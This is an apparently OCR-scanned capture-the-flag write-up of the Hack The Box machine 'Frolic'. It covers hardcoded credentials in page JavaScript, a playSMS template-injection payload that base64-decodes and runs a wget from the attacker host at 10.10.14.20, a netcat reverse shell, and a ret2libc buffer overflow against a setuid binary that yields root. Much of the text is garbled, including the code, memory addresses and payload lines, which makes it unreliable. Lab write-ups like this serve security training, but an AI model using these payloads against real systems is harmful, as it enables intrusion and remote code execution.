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1 FOOTHOLD

Adding domain to etc hosts

10.10.10.111 frolic.htfy

Autorecon found some entries in the website on port 9999 (/dev /backup /admin ...). Further investigation with dirb lead to the

discovery of a login:

[ A Notsecure | frolic.htb:c

¢'mon i m hackable

User Name:

]

Looking at the js source code the credentials were found:
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var attempt = 3; // Variable to count number of attempts.

// Below function Executes on click of login button.

function validate(){

var username = document.getElementById("username").value;

var password = d::umvnt.qptElemPnTEyId_ password").value;

if { username "admin" && password == "superduperlooperpas rd_lol"){
alert ("Login successfully");

window.location = "success.html"; // Redirecting to other page.

return false;

attempt --;// Decrementing by one.

a1erTl”ruH have left "+attempt+" attempt;");

// Disabling fields after 3 attempts.

if( attempt == 0){
cument.getElementById("username") .disabled
ument.getElementById("password”) .disabled

document.getElementById("submit").disabled =

return false;

¥

¥

Now begins the (useless) ctf nightmare:

e | frolic.htb:9999

~/hackthebox/Frolic$ cat ook
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rch for a tool Ook! INTERPRETER
| COK!BINARY CODE TO | IS e)
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Nothing here check fasdiSIAJJOQWE9JAS

A Notsecure | frolic.htb:9999

JG AAAAAAEAAQBPAAAAAWEAAAAA
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1Lid input

eb4 -di b4 > codroipo
codroipo
to extract

CPUs Intel(R) Core(TM) i7 70K CPU
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O & gchg.github.iofe Chef/#re From_| \Uto")&input=NGI30TczNzIC 3Mzc s E RiNzk3 , @ N =

Reclpe nput R = R
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744¢c5330674
c5330754b7973674b7973724b7973674c6a7772000a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434
674c53307450463067506930744c5330674c5330754¢5330674C5330744¢5330674c6a77724b7973670d0adb317374506973674b797372504
63067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a78645069
73674c6930740d0adc533467504373724b3173674c5434744¢5330675046302b4c5330674c5330744¢533467504373724b7973675779302b4
b7973674b7973385854344b4b7973754c6a776743673d3dodea

ms

Output length: 308 R0 ®
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPFagPisrKysgKy4tLSOgLSBuKysgKysrKysgLjwr
KysgWy@+KysgKzxdPisKKysuPCsgKythLT4gLSOtPFOgP10tLSAgLSOULSAgLSOtLSAgLjwrKysg

K1stPisgKysrPFOgPisrKy4gPCsrK1sgLT4tLSOKPFO+LSOgL jwrKysgWy8+KysgKkzxdPisgLiot
LSAgPCsrK1sgLT4tLSOgPFO+LSAgLSOtLSAgPCsrKy sghyB+KysgKy s8XTAKKysuLjwgCg==

:~/hackthebox/Frolic$ base64 -d bbes
+H+E+ FEEEF [ FEEE A C] PEEF Lo Lt FEEEE LS+ [ #<]>E

. [ <] > — .= — <t [+ <] P <] o—
<] — <+ [ 2<]>+ C]r— —— ., <++++ [ <]

| Execute Brainf**k Online (Brainf**k)

Execute | Share  main.bf -

e R i o [ R & I o S S R P $bfi main.bf
++.<+ ++[-> ---<] m---- -, B [ e = o S = e X e
<]>-- <t [ <]+ oo, [ ->--- <]>-- ----. <t+++ [->++ +4<]> idkwhatispass
++. .=

directory lead to the discovery of a playsms instance:

GENERATED WORDS: 4612

Scanning URL: http://frolic.htb:9999/dev/ ——
—> DIRECTORY: http://frolic.htbh:9999/dev/backup/

g C @ @ A Notsecure| frolic.htb:9999/dev;

/playsms



https://github.com/giovifazi
https://app.hackthebox.eu/profile/55980

Login creds are admin:idkwhatispass

A Notsecure | frolic.htb:9999

_—

-

Username or email
Password

LOGIN

2 USER PRIVILEGE ESCALATION

Can’t figure out the exact version, so | tried a few exploit and the preauth template injection worked:

:~fhackthebox/Frolic$ searchsploit playsms

Exploit Title | Path

"import.php' (Authenticated) CSV File Upload Code Execution (Metasploit) php/remote/44598. b
index.php Unauthenticated Template Injection Code Execution (Metasploit) php/remote/48335.rb
.7 - sSQL Injection linux/remote/404.pl
.8 "index.php’' Cross-Site Scripting php/webapps/26871.txt
- Multiple Local/Remote File Inclusions php/webapps/7687.txt
.2 - Remote File Inclusion php/webapps/17792.txt
.2 - Cross-Site Request Forgery php/webapps/30177.txt
'/sendfromfile.php’ Remote Code Execution / Unrestricted File Upload php/webapps/42003.txt
"import.php' Remote Code Execution php/webapps/42044 . txt
- 'sendfromfile.php?Filename’ (Authenticated) "Code Execution (Metasploit) php/remote/44599.1b
Remote Code Execution php/webapps/42038. txt
- Template Injection / Remote Code Execution php/webapps/48199.txt

- e e ® |
Ll S == =)

~fhackthebox/Frolic$ basef4 -w 999999 commands
d2dldCEBodHRwWO18vMTAUMTAUMTQuMJAvcCowaHAK
:~fhackthebox/Frolic$ cat commands
wget http://10.10.14.20/p.php
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@ playSMS

{{" echo d2dldCBodHRwQi8vMTAUMTAUMTQuMjAvcCS5waHAK | base64 -d | bash'}}

LOGIN

o
e}
I

A

hackthebox/Frolic}% sudo python -m SimpleHTTPServer 88
[sudo] password for kali:

Serving HTTP on ©.0.0.8 port 80 ...
18.19.18.111 - - [14/Jan/2021 15:55:58] "GET /p.php HTTP/1.1" 200 -

playsM5 b +

< X (D 10.10.10.111:9999/playsms/p.php

:~/hackthebox/Frolic% nc -lvnp 9123
: Version 7.91 ( http map.org/ncat )
Listening on :::912
Listening on @.0.
Connection from 1@.10.
Connection from 10.10.18.111:55744.
4.4.@-116-generic #14@0-Ubuntu SMP Mon Feb 12 21:22:43 UTC 2018 1686 athlon 1686 GNU/Linux

1:06, © users, load av e: 0.11, @.04,
LOGIN@G IDLE JCRU PCPU WHAT
uid { -data) (www-data) groups= ww—-data)
/bin/sh: @: can't access tty; jJob control turned off
$ whoami
ww —data

Y |
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3 ADMIN PRIVILEGE ESCALATION

Enumerating the users home directories, it was found the .binary directory that contains a suid binary.

@frolic: /home/ayush$ 1s -la

total 36
drwxr-xr-x
drwxr-xr-x
-TW
-TW-I—T—

[j¢]

[0 T s O i T i T OO i T o O O 1
[j¢]
= i iy e iy o [y o iy o [y v [y v iy

ayush ayush

root root

ayush ayush

ayush ayush

ayush ayush

ayush ayush
-I'W-I—TI-- ayush ayush

-TW ayush ayush
-TwWwXr-xr-x 1 ayush ayush
wew-dataafrolic: fhnmnf4yuah$ cd
cd .binary

www-data@frolic: /home/ayush/.binary$

M M
LJd LR LJa LR

[ &}

—TW-T—T--
drwXrwxr-x

[j¢]

= R = e e P

[ &}
LJ LA La

|_I

[ &}

Fed Fd Fd B BRI BRI BRI RO PRJ
(]

5
5

[ &}

D’
[
=
[l]

c: /home/ayush/.binary$

www-data@frolic: /home/ayush/.binary$

After tranferring the binary to the local machine, it was analyzed with ghidra, showing that is uses a strcpy on a 48 byte buffer:
Z |[UndeTinedd malnllnTt param_L,1NnT param_<)

4
5 undefinedd ret;

7| setuid(o);

8| 1f (param 1 =< 2} {

g puts("[*] Usage: program <message=");
ret = GxFFFFFFFT;

1] 32

2| else {

3 vuln (¥ (undefinedd *) (param_2 + 4));
4 ret = 0;

S| 2

return ret;
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koid vuln(char *param_1)

{
char local 34 [48].;

strepy(local 24, param_1);
printf("[+] Message sent: ")
printf{local_34);

return;

After executing the binary with ldd, it was discovered that libc is always loaded in the same address:

wwi-data@frolic: /home/ayush/.binary$ ldd rop

ldd rop
linux-gate.so.1 = (@=b7fdaded)
libc.so.6 = f1 ib/ 5-1linux-g libc.so.6 (@xb7el920@)
A1ib/1ld-1inux.s0.2 (0xb7fdbooo)

wwi-dataffrolic: /home/ayush/.binary$ 1dd rop

ldd rop
linux-gate.so.1 = (0=b7fdagea)
libc.so.6 = f1 b/ linux-gnu/Llibc.s0.6 (@=b7el19800)
/1ib/1ld-1inux.s0.2 (@xb7fdb@oe)

wwmi-datagfrolic: /home/ayush/.binary$ ldd rop

ldd rop
linux-gate.so0.1 = (@xb7fdadea)
libc.so.6 = /flib/ 6-11inux libc.s0.6 (@=b7el9000)
ALlib/ld-linux.s50.2 (@=b7+fdbdda)

wwi-datagfrolic: /home/ayush/.binary$ ldd rop

(@xb7fdaoen)
llbL ;0 h A 386-1inux-gnu/libc.so0.6 (@=b7el1900@)
flibfld—linux. 0.2 (B=b7fdbaae)
www—datagfrolic: /home/ayush/.binary$ ldd rop
ldd rop
(@xb7fdaoen)

libc.so.6 = /lib 6-1inuw libc.s0.6 (@xh7e19000)
f1ib/1d-1inux.s )

:/home/ayush/.bin: b /1ib/1386-1linux-g libc.so.6 -—-version
2 -gnuf/Llibc.so.6 --version
GNU C Li Ubuntu GLIBC -@ubuntul®) stable release version
Copyright 2016 Free Software Foundation, Inc.
This is fre Fi ; Sec e source for copying conditions.
EVE for MERCHANTABILITY or FITMESS FOR A
PARTICULAR PURP
Compiled by GMNU rersi . 4.0 20160609 .

Ll Glad an

Mative POSIX Threads
BIND-8.2.3-TS5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, ple
‘http;'f bugs.launchpad. netfubunTuf
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libc6_2.23-0ubuntulQ_i386

Symbol
rtld global

system
open
read
write

str bin sh

Calculating absolute addresses:

Hex Calculator

Hexadecimal Calculation—Add, Subtract, Multiply, or Divide

Result

Hex value:
b7e19000 + 3ada0 =

Decimal value:
3085012992 + 241056 =

Offset

0x000000
0x03adad
Ox0d56fa
@x0d5boa
0x0d5b70

0x15babfb

Difference

0x0

0x3adad
Oxds56f0
0xd5bao
0xd5b70

0x15babb

b7e19000
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Hex Calculator

Hexadecimal Calculation—Add, Subtract, Multiply, or Divide

Result

Hex value:
b7e19000 + 15ba0b =

BEWINEIREUVIES
3085012992 + 1423883 =

h7el19000

Since I'm lazy and there’s no gdb installed on the machine, | “bruteforced” the overflow offset value (which it is around 50). In short
the buffer overflow will overwrite the return address with the address of the system function loaded in memory, afterwards the
bin/sh string address (also found in the libc) gets written and will be used as an argument for the function call. This results in the

execution of system(”/bin/sh”) that grants a root shell (since the binary uses setuid).

$(python -c "print '"A'+$1i + "\xa®\x3d\xe5\xb7' + 'DUMM" + "\

s ; done
fault
fault
fault
fault
fault (core

# cat /root/root.txt
cat /root/root.txt

85d3fdf@3f969892538ba%a731826222
#
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